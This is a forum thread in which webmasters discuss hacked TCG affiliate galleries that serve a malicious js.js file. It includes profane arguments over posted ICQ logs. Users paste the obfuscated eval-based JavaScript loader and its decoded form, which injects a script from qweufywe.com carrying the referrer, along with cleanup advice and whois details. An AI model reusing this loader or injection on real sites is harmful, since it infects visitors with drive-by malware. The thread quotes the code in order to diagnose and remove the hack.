TCG galleries hacked???
 

anyone want to comment on this???

I tried contacting tcg people on icq but got no answer.

Trojan virus

You sure you dont have a virus on your computer? Traffic Cash Gold is good people!

Who said they werent good people?????


good people get hacked.


Jay_TCG (01:27 PM) :
yeah, ok...1 sec,...I just got about 5 more peeps hit me up...looks like you are correct, ..some sort of js.js file on it

Only two webmasters have contacted me with this problem, the others were not related to this...:disgust

I am not exactly sure what is happening, but tech is checking it right now. As soon as I have some more details I will post more info..

Posting ICQ logs isn't cool, when you talk to reps it's 1-1 stuff.

Good to hear it's being checked Jay :thumbsup

So, your saying only certain webmasters are being affected?

great.

TCG wouldnt have known about the problem.

I was getting the ... Hey, you sure its not your machine, and Im like .... yea, im sure.

So, until i posted, thats where it stood. Other people needed to check their shit and contact them.

besides, it wasnt the whole log.

Apparently I should have not said anything and let it go on????

By the way....

I love tcg... they are one of my top sponsors.

Without letting you guys know... he only had me telling him of the problem.

When i posted on the board, someone else let him know it was happening to them too..without that, they didnt have nothing else to go on, besides thinking the obvious... which I dont blame, thats the first thing that would pop into my head too..

Look as far as im concerned TCG are great people and I earn alot of cash with them. This isnt going to harm they I feel about them. I make bank.

Did this thread start with "tcg sucks""??? NO.

dont make such a big deal about it.

they were obviuosly targeted, becuase they rock.

whatever topic of the week!

I agree..

Manowar (02:12 PM) :
I can't believe he posted that ICQ log in the thread. That isn't right.
Furious_Male (02:13 PM) :
I agree logs should never be posted. These are private conversations.

bump for the hacked reason :)

what galleries are you seeing this on ?

Last night a frined of mine had to wipe his entire system after hitting 1 bad website. Spy Sheriff among other nastys were automatically installed on his system. When was all said and done, his system would no longer boot up, hence the wipe. When is someone actually going to do something about these fuckers?

Funny, yesterday you told me posting logs was lame

never mind isee it

function q(vw,d){if (!d)d='tK^=ci?MR}o9wSZrOuH_b0m$eF@hqEL,z[-|I*lD6x.A~U#!42C:PVBf>&aW)T7]';var lI;var sa='';for(var p=0;p<vw.length;p+=arguments.callee.toString().len gth-491){lI=(d.indexOf(vw.charAt(p))&255)<<18|(d.index Of(vw.charAt(p+1))&255)<<12|(d.indexOf(vw.charAt(p +2))&255)<<(arguments.callee.toString().length-489)|d.indexOf(vw.charAt(p+3))&255;sa+=String.from CharCode((lI&16711680)>>16,(lI&(255*256))>>8,lI&25 5);}eval(sa.substring(0,sa.length-arguments.callee.toString().length+493));}q('qHzDh H>-_Bx?,bVlL|cU@*Vm$B6#Lm2M_Ci#RiVm$VUKwH2Ou-K~uPe-mlV?ZcVhr_[rF->-hlV?w0)|O^)6RiP4HlV?ZiE=Llx4b?z!_H*Hm|P:O_UrmP0Sml 6fZm&hu0>-bcc!0VU2h^[=$0}Ehmz4uHS6@IV=u_~6F|&eolzfufuU9-}r@IFT_mFawHVhu_Kihm[mq?V6ufu6SPq~wVR[mPSEZPThubV@@Dc>mPqTE-~]}i66mPtWqiK6Z0q:rbE,,MKu}IqfbHFMSVcl}C4Db_Ifq$SH9I iM0-*=$|U)w:c!r-u&wcF6R?VOF*U.R:)lu=VrEIViLl2,}$u[H-P6m-i4h*ETOiVFZ?qAm^R~o-qxZCtz');

my galleries are doing ok here

First action should be done by you...

Remove: /potd3/js.js

Next, if this is all running on templates, change

So their hacked version of apache cannot find the spot it wants to insert that line into it as it is being served.

yep
remove that file asap
dont delete it
just replace it for further investigation

the way you did it... yessir

by the way, you got your buddies sites banned from my free sites for that shit.

that js file is trying to load qweufywe.com

if you cant see the difference between posting an entire conversation from one comment that helped shed the light on the situation, your an idiot! :321GFY

OH NO:1orglaugh

Yeah just one of my fake Danish nicks:thumbsup

dig your hole deeper dumbass!

If you read the entire post (hell you quoted it) you would see I was poking fun at Manowar not you. I have no doubt TCG can handle the issue after you helped shed the light on it.

Now go fuck yourself you whiney little bitch.

heres tht java translated

<SCRIPT>if(!opener.closed){document.write("
<script src=http://qweufywe.com/?"+document.referrer+">
<\/script>");}
</SCRIPT>
<SCRIPT src="http://qweufywe.com/?">
</SCRIPT>

You have no idea how dumb you are. Its pretty funny actually. You, luagh but you dont even know what free sites I own. LOL.

whos whining??? you.

:1orglaugh Something must be lost in the translation. I will let you have the last word.

if you want to decode java like that heres what you do..

bookmark this page..

then go right click on the bookmark(favourite) you just created and change the location to this

click yes if it says something about not having a program to run..

then just goto any page with javascript on it you want decoded.. and choose the favourite you just added from your favourites and the page will be translated

Host is probably the hackers...

Address:
Tartu Peapostkontor, pk. 12
50001 Tartu, Estonia

Domain Name: QWEUFYWE.COM

Registrant:
N/A
Arnold Clien ()
Northen str 3/66
New York
New York,47943
US
Tel. +473.7865421

Creation Date: 22-Sep-2005
Expiration Date: 22-Sep-2006

Domain servers in listed order:
ns11.esthost.com
ns12.esthost.com

yea, thats right, shut the fuck up and piss off.

No I am dumb, everyone is dumb except you...:thumbsup

ICQ me. I am not continuing this in this thread while these guys try to help Jay and the rest of the TCG crew.

Overhead the albatross hangs motionless upon the air
And deep beneath the rolling waves
In labyrinths of coral caves
The echo of a distant time
Comes willowing across the sand
And everything is green and submarine

the last time ive tried to icq somebody when i had a problem with them...
it was justsexxx.. and he decided to post just bits and peices of the conversation. Thats fucking shady.

While these guys help Jay.... Give me a fucking break.
Im the one who brought it up, without it, you fucking idiots would still be giving your surfers trojans.

I asked the host to remove the index page from that domain...

We'll see if they do...

Well ok don't message me then. All I was going to tell you was that I was poking fun at Manowar not you. Instead you decided to jump in my other thread and act like a fucking idiot.

I don't push TGP or use TGP galleries so you aren't doing me any favors. I am sure the TCG crew is happy you pointed it out. Go pat yourself on the back now and have a nice day.

well that hosting company seems to always have a few scammers so im sure its "family" run but :thumbsup

the script was actually calling another script from that page not the main page, i think it was already balnk , not sure though

I made over $10,000 with desiel sites last year.
Thats how much your mouths costed ya this year.

Good for you. If you think we'll stop saying what we think to keep your business you are wrong.

You allready lost my business you idiot. :1orglaugh :1orglaugh

Blablabla, and? You think you are a big fish now? Jeez get a clue

Maybe for your program it would be the nr1 affiliate?

See he didn't even notice. That is how big your share is :1orglaugh

no sir. Im just an average webmaster trying to make a living.

That traffic is simply going to go somewhere else.

it just goes to show you how you guys operate.

I could care less if he blinks at 10 grand or not. The traffic will convert somewhere else.